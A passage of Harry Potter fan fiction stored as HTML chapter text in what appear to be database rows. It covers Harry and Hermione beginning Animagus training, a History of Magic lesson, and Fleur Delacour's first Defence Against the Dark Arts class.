back\nand forth between Harry and Hermione. He waited a few seconds to organize his\nthoughts before saying, </p>\n\n<p>&quot; I guess\nyou both know that you\'re quite unique... No that would be putting in very\nlightly. Hermione you are a very strong witch, I knew it the day you got that\n125% in your first year. ... And now being a spotter just proved my point. I\nreally didn\'t think I would ever see a spotter again, let alone two. Both in\nGryffindor as well.&quot; There was an unmistakable pride in his voice.</p>\n\n<p>&nbsp;</p>\n\n<p>Professor\nDumbledore then focused his gaze on Harry. &quot; There have been only two\npeople in the world that managed do what you did. Both of you I assume know\nabout Merlin...&quot; </p>\n\n<p>Harry and\nHermione both nodded. Of course they knew about him. He was the father of all\nthe wizards around the world. None before Merlin could cast spells or work\nmagic without the permission of the Goddess of magic \'Mauve\'. Merlin was the\nvery first Wizard and from him spawned all the wizards that you see today. He\ncast a spell to find people with the qualifications he thought they needed to\nbe a magician. He opened up the mystical world for all those with the gift to\nsee.... I\'m going off the track. He was the only magician who ever transformed\ninto a magical creature not only that he could transform himself into five\ndifferent dragons. Each endowed with unique abilities.</p>\n\n<p>Professor\nDumbledore paused to look back, almost like he was remembering a piece of his\npast. &quot; It is said that the Opaleye Dragons were his creation, and it was\nthis one that he had transformed into when he finally finished off Mauve. You\nalso have the ability to do more than one animal. Animagus ability are rare but\namong those who have this ability, the ability to do more than one animal is\nvery common. It is rare for people with talents such as those that you two\nposses to choose to do animagus training at all.&quot; </p>\n\n<p>&quot; Why?&quot;\nasked Harry and Hermione both in unison.</p>\n\n<p>&quot; Animagus\ntraining is hard. Sometimes it takes a fully-grown wizard/witch to train for\nalmost a year before he or she can usually train for about eight months before\nthey can do it with sufficient speed. The procedure can be very painful without\nthe presence of a ProTem. Those of your friends who choose to train to be an Animagus\nwould have to work at it both this year and the year after that.&quot;</p>\n\n<p>&quot; The\nreason why so many choose not to go through the training is because, those who\nhave the ability to assume more than animal, the pain is much more severe. It&#8217;s\neven more for those who can change their marking. Most prefer to learn wand\nbased transformation which is not really painful though it takes about six to\nseven months to get through.&quot;</p>\n\n<p>&quot; So\nwhere do we go from here?&quot; asked Harry.</p>\n\n<p>&quot; Depends\nif you want to become an Animagus or not... If one of you decides in favor of\nit I\'ll teach him or her how to do it.&quot;</p>\n\n<p>&quot; I want\nto do it.&quot; Said Hermione eager for a new challenge.</p>\n\n<p>&quot; Me\ntoo&quot; chimed in Harry quickly.</p>\n\n<p>&quot; Excellent.\n&quot; Dumbledore smiled and said, &quot; this is how it\'ll work. Your training\nto be an Animagus is different from what the rest of the class is going to\nlearn. The first few weeks will be spent learning the ProTem spell. Once that\'s\ndone I\'ll show both how to help the other in their transformation. Now do\neither of you have any questions?&quot;</p>\n\n<p>Hermione\neagerly put up her hand &quot; I have one. When do we start?&quot; </p>\n\n<p>Harry snorted\nout with laughter at Hermione\'s question. Apparently, Hermione didn\'t think her\nenthusiasm to answer the question by Professor Dumbledore was as funny as what\nHarry found it to be. Her displeasure would only get worse when Professor\nDumbledore joined Harry in laughing, though he had the good sense to stop when\nhe saw Hermione\'s eyes were set on killing mode. </p>\n\n<p>Harry on the\nother hand was stupid enough to continue laughing at her when she was obviously\ngetting more riled up. &quot; Ahem... I\'m sorry, Ms. Granger.&quot; said Professor\nDumbledore to stop a fight that he could see coming from a mile away and he\nwasn\'t sure if the two students would actually even remember that he was there.\n&quot; You just reminded me of someone... Well, to answer your question; We\'ll\nstart right now. First lets get rid of these chairs...&quot; with that their\njourney into the exciting world of Animagi began.</p>\n\n<p>&nbsp;</p>\n\n<p>When the class\nfinally finished neither Harry nor Hermione managed to get the ProTem spell\ncorrect. As Harry and Hermione made their way through the crowd of students\nnothing seemed out of the ordinary. The usual cluster of girls that had\nfollowed him the day before was back and they all wanted to go out with him.\nHis polite refusal only made the girls want him more. Harry wasn&#8217;t sure if they\nwere after him or if they wanted to win the challenge of getting his first\ndate. </p>\n\n<p>It was of\nlittle surprise to Hermione, but a great deal to Harry, when two of the more\nsenior girls started to fight physically. &quot; Hey stop it...&quot; said\nHarry as he put himself between the two girls.</p>\n\n<p>&quot; She\nstarted it...&quot; said the beautiful Seventh year Ravenclaw.</p>\n\n<p>&quot; No she\ndid...&quot; said the equally beautiful 6th year Hufflepuff girl before trying\nto lunge towards the other girl.</p>\n\n<p>&quot; Stop\nit!&quot; yelled Hermione in the middle of the scene with Harry trying to keep\nthe two girls apart. &quot; Harry\'s still worn out from the fight with the Nundu...\ntry again in a few weeks time. I promise he\'ll be a lot more receptive\nthen&quot; Hermione then dragged Harry out of the middle of the two girls who\ndecided that Hermione was right and took off in opposite directions when they\nleft.</p>\n\n<p>&quot; I can\'t\nbelieve it... a seventh year and a sixth year girl were fighting over me!&quot;\nsaid Harry with a dumbfounded look on his face.</p>\n\n<p>&quot; It\'s\nnot you they\'re going after...in a way.&quot; said Hermione.</p>\n\n<p>&quot; What\'re\nthey after then?&quot;</p>\n\n<p>&quot; You\nreally don\'t notice the effect you have around girls do you. Remember\nsorting... did you see them winking...&quot;</p>\n\n<p>Harry only\nmanaged to nod shyly.</p>\n\n<p>&quot; Well\nthe reason all the girls were winking at you was because they had just seen you\nhalf naked and they liked what they saw&quot; Hermione blushed very slightly\nand said, &quot; It was your own fault - you should have had bought new clothes\nin Morocco.&quot; At this point Harry noticed that he was in the corridor\nleading to the Gryffindor common room and Ron was headed their way.</p>\n\n<p>&quot; Harry,\nyou alright?&quot; asked Ron obviously referring to the incident with the Haguba\nstone. If the voice didn\'t sound so hollow to Harry he might have actually\nbelieved that Ron cared about what happened to him. But Harry didn\'t care\nwhether or not it was hollow or not he had decided long ago to let Ron get away\nwith it.</p>\n\n<p>&quot; I\'m\nfine... tell me what happened after I left?&quot; </p>\n\n<p>Ron told Harry\nand Hermione everything that happened. &quot; Well after you left Professor\nMcGonagall explained why the stone had that odd reaction to you -&quot;</p>\n\n<p>&quot; Why?&quot;\ninterrupted Hermione.</p>\n\n<p>&quot; Well it\nsupposed to hurt a little when you can do more than one animal. But nothing\nlike what you went through. She thinks because of that Dragon transformation...&quot;\n</p>\n\n<p>Ron wanted the\nattention of the group to focus on him once more so he said, &quot; Well\nanyway... Neville and Pansy were the only two who wanted to be animagus. Malfoy\nand Pansy had a huge fight after the class when she offered to be... well\nthat\'ll be putting it too lightly... she practically ordered Neville to make\nher, his ProTem&quot; he paused and snorted out with laughter. &quot; Lavender\ndidn\'t want the job and Pansy was the only one who could do it. For a moment it\nlooked like Neville was going to decline being an animagus when she actually\ntold him she would kill him if she didn\'t have a ProTem...poor Neville... can\nyou imagine having Pansy for his ProTem.&quot;</p>\n\n<p>Harry didn\'t\nthink Pansy was actually bad, as her only crime was that until recently she was\ninvolved with Malfoy. There was that little incident with her teasing Hermione\nabout being called &quot; stunningly pretty&quot; by Rita Skitter, but Harry\nthought she was most likely jealous of Hermione, being heralded as a beauty\nqueen. </p>\n\n<p>Harry got the\nchance to join in Ron\'s laughter when Hermione asked if there was any homework.\nThe three friends played exploding snaps in the common room until it was time\nfor dinner. </p>\n\n<p>&nbsp;</p>\n\n<p>By dinner time\nthat day the entire school knew about Harry\'s transformation. Everyone knew\nthat Voldemort marked Harry for death a long time ago, but the transformation\ndrove a point home to them. If Harry can change into a dragon then he was a\nvery strong wizard and strong wizards had a way of dying when Voldemort finds\nout about them. Harry initially thought that the news of his ability would\ncause the female student population to become even more obsessed with him but\nhe was pleasantly surprised to be proven wrong.</p>\n\n<p>However the\nexact reason was beyond him, so he asked the most qualified person to ask this.\n&#8220; Hermione why do think all the girls are avoiding me... not that I don\'t like\nthe break from all the attention&quot; said Harry as the trio moved toward\ntheir final class after dinner.</p>\n\n<p>&quot; Well, I\ntalked to that Ravenclaw that was following you around yesterday, she said it\'s\nbecause they don\'t want to get attached to you...&quot; she saw confusion in\nHarry\'s face so she tried to elaborate. &quot; They think they\'ll go through\nthe same think that Cho Chang went through last year,&quot; there was palpable\nsorrow in her voice. Regretting what she had said Hermione started to say\n&quot; I\'m sorry, I so- &quot; But Harry interrupted her. </p>\n\n<p>&quot; I never\ntold you what really happened after I got transported. I\'ll tell you guys later\nwhen I\'m up to it.... If I hadn\'t been so busy working over the summer I think\nI would be very depressed right now. Okay...enough mush.&quot; He turned to Ron\nand asked, &quot; Where is the new Dueling class?&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; Right\nhere&quot; said a familiar obnoxious snobby voice that belonged to none other\nthan Percy Weasley. He came out of the room and held out his hand to Harry, &quot;\nGood day, Old Chap! I heard what you did... the dragon thing... I mean&quot;</p>\n\n<p>&quot; How are\nyou doing Percy?&quot; Harry said shaking Percy\'s hand. &quot; I heard about\nthe promotion, so I think congratulations are in order.&quot;</p>\n\n<p>&quot; Well...\nwhat can I say? Hard work pays off sometimes.&quot; said Percy. Harry was sure\nhe saw Percy blush a little. &quot; Hey I saw the demonstration on Saturday. Excellent\nwork, both of you. But Hermione...&quot; he turned to her and said, &quot; That\nwas some \'Golden Flame\'. I haven\'t seen that since I was a first year student\nhere and that was nothing compared to what you did&quot; Hermione blushed at\nthe complement.</p>\n\n<p>&quot; Though\nI was disappointed at how long it took you to realize Harry\'s strategy... Oh\nmy! Did I use those two words in the same sentence? From what Ron always tells\nat home it was quite unlike what I saw&quot; he, Hermione and Ron, started to\nlaugh at Percy\'s joke about Harry.</p>\n\n<p>&quot; I\nknow... I couldn\'t believe that he made me so angry that I wasted my energy\nattacking him&quot; she replied to Percy before adding, &quot; Before last\nsummer, I wouldn\'t have thought Harry was capable of doing anything like that\neither&quot;</p>\n\n<p>&quot; Ha. Ha.\nFunny! Very Funny!&quot; he said before going into the class ahead of his\nfriends. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>(A/N: I know\nmy Percy cracked a joke.... But someone had to. It was too good of an\nopportunity to miss it. Don\'t worry it was his last one...I hope. :)</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n\n\n\n\n\n'),
	(13, 22, '\n\n\n\n<p>At the time\nwhen I was writing this, there were few stories that weren&#8217;t almost straight\ninto H/Hr. So I had decided to change the plot line at this point and do\nsomething different. I have several Au version of how this fic came into being.\nOne of these days, I plan to put them into word. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 23<br>\n<b>Chapter Name:</b> Hermione doesn\'t know the answer</p>\n\n<p>When the\nDueling class was finished Harry was ready to collapse on the common room couch\nfrom drowsiness and that is exactly what he did. The class was mandatory\notherwise he could have had skipped it, since he and Hermione had already had\nthose classes. &quot; I\'m beat&quot; said Harry.</p>\n\n<p>&quot; Me\ntoo&quot; Ron echoed the sentiment.</p>\n\n<p>&quot; Me\nthree&quot; said Hermione.</p>\n\n<p>&quot; That\nclass was hard&quot; said Ron &quot; You two made it seem so easy&quot;</p>\n\n<p>&quot; Don\'t\nworry... You\'ll get the hang of it&quot; replied Hermione in her usual\noptimistic way. </p>\n\n<p>&quot; If you\ndon\'t... I\'m sure Hermione wouldn\'t mind having another person on close call to\nbe beaten up whenever she wanted to,&quot; teased Harry. He saw Hermione start\nto go for her wand so he quickly said, &quot; I have to check on the first\nyears. I\'ll see ya all tomorrow.&quot; </p>\n\n<p>He headed out\nof the room towards the door, confident in the fact that Hermione would not do\nsomething behind his back. Fortunately for him Hermione had just changed her\nmind not to curse Harry even though his back was turned.</p>\n\n<p>&quot; Hey\nHarry, wait up. I\'ll join you&quot; said Ron as he quickly caught up to Harry.</p>\n\n<p>&quot; Bye&quot;\nsaid Hermione putting down her wand. </p>\n\n<p>&nbsp;</p>\n\n<p>The first year\nstudents were having a great time in their dorm room. Hermione had given\nsimilar advice to the girls, so when Snape asked his questions he was\ndisappointed that the students didn\'t get them wrong. They had managed to get\nthirty points off the house for their effort. But the first years were determined\nnot to let that get in their way. </p>\n\n<p>When Harry\nentered the room he was treated like a friendly big brother rather than the\ncelebrity. All of them were eager to tell Harry of the events of the day. Once\nall the important parts of the day were covered Harry noticed that it was\nalmost time for their bedtime. &quot; Time for bed&quot; said Harry pointing at\nhis watch. The boys went to their bed happy as clams and eager about what\nsurprises were in store for them. Harry made his way back to the common room\ncareful not to make too much noise.</p>\n\n<p>When he saw\nHermione sleeping on the chair by the fire he decided that it was too risky\nputting her in bed again and neither did he want to wake her up, so he went\nback to his room and grabbed his second blanket before wrapping it around her.\nHarry watched her sleep for a while before deciding to go to sleep himself.</p>\n\n<p>&nbsp;</p>\n\n<p>It took him a\nwhile to get to sleep but once he did he was out like a log. When he woke up at\nsix thirty he looked at where\nHermione was sleeping last night. She was still sleeping peacefully. Harry\ndidn\'t want Ron to become jealous so he went to her and started to vigorously\nshake her.</p>\n\n<p>&quot; What is\nit?&quot; she said still groggy from the sleep. She did notice Harry was\nsurprisingly well composed for the time of the morning it was. She had a\ndreadful thought, <i>&#8216; Sweet Merlin! I must look like a Hag&#8217; </i></p>\n\n<p>&quot; Rise\nand shine your Royal Highness.... I mean Hermione.&quot; She really didn\'t want\nto wake up so she closed her eyes again. Harry knew it was time to use the big\ngun. </p>\n\n<p>&quot; We have\nclasses in about one and a half hours&quot; Hermione\'s eyes snapped open and\nher face lit up like a Christmas tree at the prospect of a new day full of\nthings to learn. Noticing her face go from annoyance to excitement because of\nthe words that he had said Harry started to grin broadly. &quot; I thought that\nmight get your attention&quot;</p>\n\n<p>She sat up\nreal quick and headed for the girls dorm. She stopped midway and said as she\nturned around, &quot; Thanks for the blanket&quot; before she left. </p>\n\n<p>It took them\nboth half an hour to take a shower and get dressed. They waited for Ron for\nnearly fifteen minutes when Harry found out about her date with Victor.\nApparently it was all that she had hoped for and was looking forward to their\nnext one after the Quidditch match against Ravenclaw. But all this talk about\nVictor stopped when Harry noticed Ron come down the stairs. &quot; Hey\nRon...&quot; said Harry &quot;... what took you so long?&quot;</p>\n\n<p>&quot; Neville...&quot;\nhe said grumbling, &quot;...that klutz managed to lock himself up in the public\nshowers.&quot; Ron turned to Hermione and said, &quot; So what were you talking\nabout before I came in?&quot;</p>\n\n<p>&quot; Oh...nothi...&quot;\nHarry didn\'t get to finish his sentence when Hermione barged into the\nconversation.</p>\n\n<p>&quot; About\nVictor and my date with him on Sunday. It was really goo...&quot;</p>\n\n<p>Hermione\nstarted to walk towards the entrance but she didn\'t stop talking about Victor.\nSince she was walking a bit ahead of them she didn\'t see Harry holding Ron\'s\nmouth shut to stop him from saying something that he would later regret. The\nbreakfast went very fast and it seemed that they had only touched their food\nwhen they had to start moving. </p>\n\n<p>The history of\nMagic was a class that no one could stay awake through. It was funny to see\nthat a lot of students had brought their own pillows to sleep through it. Ron\nalways had a spare shrunken pillow in his bag since the second class of that\nsubject they ever had. Hermione however preferred to either work on memorizing\nthat years textbook or just glancing through the latest copy of &quot;Hogwarts:\nA history&quot;. </p>\n\n<p>&nbsp;</p>\n\n<p>The class\nbegan like the other two classes had begun. Professor Binns went through their\nhomework assignments. Harry and Hermione\'s papers were good enough that\nProfessor Binns gave them thirty points each. Ron\'s paper wasn\'t that good but\nhe earned five points for effort. When Professor Binns told them of their study\ntopic for that year Harry\'s heart jumped.</p>\n\n<p>&quot; Shozar\nWars and events leading up to and consequences of the war&quot; </p>\n\n<p>Harry\'s throat\nwent dry and for a long time he didn\'t breathe. Harry took comfort in the fact\nthat everyone would sleep through the classes anyway but he knew Hermione would\nnot and she was the person who was most likely to put the clues together.</p>\n\n<p><i>&#8216; If don\'t\ntell her then...&#8217; </i>his thought was interrupted as the consequences of Hermione\nfinding out and telling someone intentionally or unintentionally flashed\nthrough his mind. <i>&#8216;Thousands dead and millions more affected... No I\'ll tell\nher. She\'ll know why she has to keep secret what she has to.&#8217; </i>&nbsp;</p>\n\n<p>He decided to\ntell her about all that he dared to when Ron was busy doing his practice for Quidditch\nTrials. </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione\nsitting next to Ron was thinking not about the homework she had been doing, nor\nwas her mind stuck on the topic they were going to study that year. She was\nstill on the \'Victor love train\' conversation that she had with Harry and Ron\nin the morning. </p>\n\n<p><i>&#8216; Hard to\nbelieve I turned down Victor three time before saying yes.&#8217;</i> mused Hermione as a\nglazed expression washed over her face. </p>\n\n<p>Hermione had\noriginally wished that, Ron would ask her to the Yule Ball. But when Ron asked\nFleur Delacour to the dance, she said yes to Victor.</p>\n\n<p>Krum, the\nworld famous Quidditch player. Her crush on Ron started when they met. She sat\nnext to Ron to pretend that she was interested in Harry. Normally she would\nstay away from people who were popular or well known before that. </p>\n\n<p>That\'s also\nthe reason she was deeply upset by the comment Ron had made on the morning of\nHalloween. She still had the crush on Ron and she knew full well what effect\nmentioning Krum had on Ron. Though they felt the same way she had decided at\nthe time of the Yule ball that Ron had to admit his feelings for her before she\nwould even consider dating him and Ron would only have his chance when Victor\ndid something wrong. </p>\n\n<p>Victor was sweet,\nkind and very nice to Hermione, and he was the first person to notice her as a\ngirl, something she remembered. Tired of being one of the guys, she was happy\nto finally get noticed. She was quite happy to be Victor.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione had\nbeen quite surprised to see how hard Harry worked, to stop Ron from saying\nthings to Hermione that might effect whether or not Ron and Hermione would ever\nbecome boyfriend and girlfriend.</p>\n\n<p><i>&#8216; I can\'t\nbelieve how Harry\'s been doing all these sweet things for me and Ron...&#8217;</i> thought Hermione. <i>&#8216;\nWhy doesn\'t anyone see how wonderful he is? Maybe I should find him someone...\nYes! That\'s what I\'ll do. Let\'s see now... Ginny is a good choice...er.. no. Wrong\napproach. I need to find someone who thinks Harry is deserving of love more\nthan what I think who he should go out with...&#8217; </i></p>\n\n<p>Hermione was\nso engrossed in her thought\'s she didn\'t even hear the question that. Professor\nBinns had asked her. &quot; Excuse me... but what was the question?&quot;</p>\n\n<p><i>&#8216; Did she\njust say what I think she just said?&#8217; </i>thought Harry incredulously. Harry\'s head twirled\naround as soon as he had heard Hermione say that. Fortunately for her he was\nthe only person, besides Hermione, awake - that was exaggerating it. He was\nhalf way between sleep and awake himself. Her reputation as being a good\nstudent and always paying attention in class was still intact. </p>\n\n<p>Professor Binns\nwas also surprised at this question but he repeated the question none the less,\n&quot; Name the person who was instrumental in capturing Shozar\nSebastian?&quot; in his drawling voice.</p>\n\n<p>&quot; I don\'t\nknow,&quot; said Hermione, who was irritated at that moment as she was\ninterrupted from making up a list of students that she though might be\ninterested in Harry - romantically.</p>\n\n<p>Professor Binns\nwas stunned but he turned his head toward Harry who absentmindedly answered, &quot;\nHarold Parker&quot;</p>\n\n<p>.</p>\n\n<p>&nbsp;</p>\n\n<p>It\'s ironic\nreally that all those Ravenclaws who hated Hermione for getting top marks slept\nright through the day she actually didn\'t answer a question. The reason might\nhave been she was thinking about Harry\'s love life and didn\'t want to be\ninterrupted but who is to say that Hermione would have had known the answer....\nWell you all know that\'s not true. She always knows the answer. But did she\nthis time?</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n\n\n\n\n\n'),
	(13, 23, '\n\n\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 23<br>\n<b>Chapter Name:</b> Painful encounter of the Veela kind</p>\n\n<p>&nbsp;</p>\n\n<p>When the class\nfinally finished Harry looked at the concentration on Hermione\'s face and realized\nthat it was because she had been concentrating on something else in class that\nshe had not answered the question. For a moment he thought that she had realized\nsomething that Harry had been dreading to tell her, but his fears were proved\nto be unfounded when he tentatively asked her why she hadn\'t been paying\nattention in class. Her reply sounded totally plausible.</p>\n\n<p>&quot; Just\nthinking about Victor...&quot; she added a sigh at the end to make Ron jealous.\n<i>&#8216; So easy to set him off,&#8217;</i> thought Hermione.</p>\n\n<p>A relieved\nHarry barely managed to hold on to Ron\'s mouth. Hermione smiled as she caught\nthe struggle between Ron and Harry from the corner of her eyes. The trio with\nthe Gryffindors had just joined the line outside the door when they saw someone\nrunning frantically in their direction.</p>\n\n<p>She had run\nall the way from her previous class to make it there before rest of her house\ngot there. As the panting Pansy joined the girls she stood exactly opposite of\nHarry on the line for the boys. Standing right next to Pansy, Harry could\nhardly ignore the fact that she kept eyeing Neville every few seconds. Pansy\nturned a deep scarlet color, before turning away from Harry when she saw that\nhe had seen her look at Neville.</p>\n\n<p><i>&#8216; Damn! I\'m\ngoing to miss this interesting new development when I\'m in transfiguration with\nProfessor Dumbledore&#8217; </i>thought Harry just as he saw the door open.</p>\n\n<p>The bright\nroom behind the person who came out of the room made the person appear to Harry,\nwho was at the back of line, as a silhouette. As the person walked further out\nof the room the more details of the face and body became clear. Pearly white\nskin and beautiful silver blonde hair was one of her best features.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>It was Fleur Delacour.\nOne of the TriWizard champions that Harry had beat the year before.</p>\n\n<p>She walked out\ninto the corridor in a nice red cloak, the back of which was trailing behind\nher as she almost floated down the corridor inspecting both lines of boys and\ngirls. The all too familiar signs of loathing, hatred toward her from the girls\nand the unmistakable signs of lust in the hormonal teenagers\' eyes... not to\nmention rest of their bodies were there. The sweat on their faces, the\nquivering of their lips... it all made her a bit sick.</p>\n\n<p>The boys were\nusing the camera in their mind to capture a million snapshot of her as she\nwalked slowly down the corridor. There was no doubt in her mind that the boys\nwould later use those pictures to fuel their imagination when they had more\nprivacy. All her life most men had lusted after her, so one can hardly blame\nher for having a very low opinion of the whole male species.</p>\n\n<p>She froze in\nmid step when her eyes caught those of the third boy from the end of the line.\nThere was no sign of lust toward her from this boy. He had raven black unruly\nhair and a set of very bright green eyes behind his square glasses. </p>\n\n<p><i>* Oh Mon Dieu!\n&#199;a ne peut pas &#234;tre...la cicatrice...C\'est! C\'est lui!*,</i> thought Fleur.</p>\n\n<p>&quot; \'Arry?&quot;\nshe asked as she took one step back just to make sure that this was who she\nthought he was. The lightning shaped scar barely visible because of his wild\nhair was the clue that made sure that she was right in her assumption.</p>\n\n<p>Veela women\nwere extremely hard to resist and only those with extreme mental focus could do\nso. Though part Veela women are not as hard to resist as full-blooded Veela\nwomen it would takes an enormous amount of strength of character to resist\nthem. That is why Fleur was surprised to see Harry not been affected by this. </p>\n\n<p>Fleur\nattributed the no lust towards her as how strong Harry had become since he took\non a Nundu, but that was not the real case. </p>\n\n<p>Harry knew he\nhad no chance in hell of attracting this woman and lusting after her was a\nwaste. He had a better chance going after Hermione than Fleur, even though\nHermione was currently involved with Victor Krum, world famous Quidditch\nplayer. He had ample time to think of such things in Morocco and had decided that\nif love finds him it was good but he would not seek it out from somewhere there\nwas no chance in getting it. Harry smiled at her and said, &quot; At your\nservice, Madam&quot; with a small bow.</p>\n\n<p>Fleur examined\nHarry more closely when he finished his bow. Harry was not the same person\nphysically as he was a few months ago when she had last seen him. Harry had\nchanged from the scrawny little boy she had seen months ago to a rather tall\nand very decently muscled boy. Nature had been kind enough to give him an early\ngrowth spurt (even for wizards), making him appear almost a fully-grown man.\nBeing a head taller than most girls and almost all the boys gave him the\nappearance of a giant in amongst the other students.</p>\n\n<p>She rushed\nforward and hugged Harry tightly before kissing him on the cheeks a bit more\nthan necessary... especially considering she was a teacher. </p>\n\n<p>All the boys\nin class and none more so than Ron, were glaring daggers at Harry who had\nturned pink at the excessive hugging and kissing. The girls in the class were a\ndifferent matter altogether. They didn\'t know if they should be happy that for\nthe moment rest of the boys weren\'t lusting after Fleur or to be furious with\nFleur for the excessive amount of affection that she was showing Harry.</p>\n\n<p>Harry knew why\nFleur had reacted like this. Last year during the second task of the TriWizard\ntournament Harry had risked his life and a chance at outright victory to save\nher little sister, though it was a mistake on both his and her part in assuming\nthat her sister was in any real danger.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; It\'s\ngood to see you too,&quot; said Harry as he vigorously rubbed his cheeks to get\nrid of the bright shade of red lipstick she was using, before saying, &quot;\nHow is your sister?&quot;</p>\n\n<p>&quot; She\'s\nokay... She is in school thish \'ear. Talks about Oou all the time&quot; She\nlooked him up and down once and said, &quot; Oou \'ave changed. Not skinny,\nshort and lanky boy no more&quot; There was a pause as she said &quot; Oou look\n\'andsome&quot;</p>\n\n<p>As soon as she\nhad said those words, Harry almost wished she hadn\'t. Being a part Veela woman\nshe had seen a ton of men follow her like puppies, so a complement from her was\na big deal, but it also meant that the dagger eyes from the rest of the boys in\nthe class were getting to critical level. After that point they would simply\nwant to kill him. &quot; Thanks,&quot; was all Harry could say as his face\nflushed once more.</p>\n\n<p>&#8216; If there&#8217;s\nany more, I&#8217;ll have to use a shielding charm all night long to be safe.&#8217; thought\nHarry as he saw Fleur move away from him and open the door to the class.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron like all\nthe other hormonal boys had scrambled for the seats at the front of the room\nonce Fleur had opened the door to let the students in. This left only Harry and\nthe girls to take a seat that weren\'t occupied by the drooling boys. Though\nHarry and Hermione walked next to each other as the entered the room, he\nnoticed that Hermione was rather cold to him and didn\'t talk, but he dismissed\nthe thought as they stated to talk after taking their seat behind Ron.</p>\n\n<p>Fleur went to\nthe front of the room and started to search for something on the desk.\nFrustrated with the search she yelled &quot; Tidus&quot; with her wand pointed\nat the desk.</p>\n\n<p>A bright beam\nhit the table and it\'s contents. Everything started to sort by itself\nmagically. The scrolls arranged themselves to reveal what she was looking for.\nIt was small red bag no bigger than the length of Harry\'s palm.</p>\n\n<p>&quot; When I\ngive frog to Oou...&quot; she did a gesture to suggest that they had to eat it.\n&quot;...You ea it.&quot;</p>\n\n<p>The frog was\nactually a chocolate frog. Harry was a bit confused as to why she gave the\nchocolates to only boys. When it was Harry\'s turn she didn\'t give him any. The\nrest of the boys were enjoying the chocolate frogs, but not as much as the fact\nthat they all got something and Harry didn\'t.</p>\n\n<p>Once all the\nboys had finished eating their chocolate Fleur started to talk.</p>\n\n<p>&quot; Zee\nreason for giving zee \'chocolat frog\' was to get rid of some of zee attraction Oou\nall seem to huv towards me.&quot;</p>\n\n<p>&quot; Of\ncourse!&quot; cried Hermione, not believing that she had missed the obvious\nclue. Harry was still uncertain as to why Fleur had given everyone a chocolate\nfrog other than him. So he asked Hermione why he didn\'t get one. &quot;Er...Hermione?&quot;</p>\n\n<p>&quot; What?&quot;\nHermione was still mentally punishing herself for missing the clue so her voice\nhad an edge to it that she was unable to get rid of.</p>\n\n<p>&quot;...er.\nWhy didn\'t she give me one?...&quot; he blushed and then said, &quot; I mean...\ndoes she want me to be attracted to her?&quot;</p>\n\n<p>Hermione\ncouldn\'t believe what Harry had just said. <i>&#8216; He has absolutely no clue...&#8217;</i>\nthought Hermione fondly. &quot; No!... You\'re a moron if you think that&quot;\nHermione was surprised by how intense her response had been. </p>\n\n<p>Harry looked\nhurt at what Hermione had said, &quot; I mean... No. You weren\'t drooling at\nher like Malfoy or Ron....&quot; she paused and reformed what she wanted to\nsay. &quot; You were the only boy in the class who wasn\'t looking at her like\nthey wanted to have their way with her right there.&quot; Hermione blushed, as\nthat wasn\'t exactly the sentence that she had wanted to say either.</p>\n\n<p>&quot; OH!&quot;\nHarry thought for a second and then asked not certain if that was a good thing\nor not. &quot; Is that a good thing?&quot;</p>\n\n<p>&quot;\nHonestly Harry!&quot; she said making a face at him. &quot;Yes, it is a very\ngood thing.&quot;</p>\n\n<p>&quot; Ok.&quot;\nHarry\'s face burst into a big smile. Hermione couldn\'t help but imitate it soon\nafter.</p>\n\n<p>&nbsp;</p>\n\n<p>A few seconds\nafter Fleur\'s sentence finished, all the boys looked positively sick. When they\nlooked up to ask for help, they saw her point to the far right side of the\nroom. All the boys ran to the sinks that lined the wall of the right side of the\nclass. They waited for something to happen. What happened next, Harry would\nremember for the rest of his life. Malfoy, Ron, Neville and Seamus all threw up\nsimultaneously, while the rest waited until the vomit fairy paid them a visit. </p>\n\n<p><i>&#8216; So that\'s\nwhy they were there,&#8217;</i> thought Harry who had noticed the sinks when he had entered the\nroom but didn\'t understand what their use was. <i>&#8216; Glad...I\'m not lusting\nafter her thought Harry.&#8217; </i></p>\n\n<p>&quot; Hey\nHermione...&quot; he turned to look at her, &quot; ...are those guys going to go\nthrough this every time we have Defence against Dark Arts?&quot; he asked. The\nthought was terrible. Throwing up three times a week.... it was almost enough\nto make Harry want to go and join the boys in emptying his own stomach.</p>\n\n<p>Hermione was\nsmiling when she saw Ron thrown up. <i>&#8216; That\'s what you get when you go after\na Veela woman... I couldn\'t have had given a lecture that would even come close\nto this- <u>&#8217;</u></i> Hermione\'s thoughts were interrupted by Harry\'s question.</p>\n\n<p>&quot; No-\nWell for about the next month or so, but it\'ll stop after they learn to control\ntheir hormones a little better.&quot; Harry was quite surprised to see the evil\nhappiness in Hermione when she said this.</p>\n\n<p><i>She looked\nlike she was indeed enjoying this more than she really should </i>&#8211; Harry thought. Aside\nfrom this nothing of importance happened in the class. They learned about\nDragons and some of the famous Dragon Slayers...well names of wizard groups\nthat took care of the dragon pest problems in the medieval times.</p>\n\n<p>They were told\nto read up about a creature called &quot; Blissy&quot;, as it was their midyear\nexam topic. The whole thing would be about that creature and how to handle it.\nThey had to do detailed research without any help from the teacher and prepare\nthemselves for an encounter with the creature. There would not be any help\ngiven out for that topic. Harry made a mental note to do some research on the\ntopic to get himself started.</p>\n\n<p>&nbsp;</p>\n\n<p>The Charms\nclass was the next, after lunch, but before that the trio had lunch. Fred and\nGeorge Weasley who were two years ahead of Harry and his two friends had had\nthat class the day before and as such knew what was in store for the boys. Ron\ntook only a few seconds to get angry with his two brothers, because they\nneglected to mention what to expect. But they were much more interested in\nHarry\'s experience in the class. &quot; So Harry... Did you enjoy throwing\nup?&quot; asked Fred and George with smug faces when the trio sat down on the\ntable.</p>\n\n<p>&quot; I...I...&quot;\nHarry 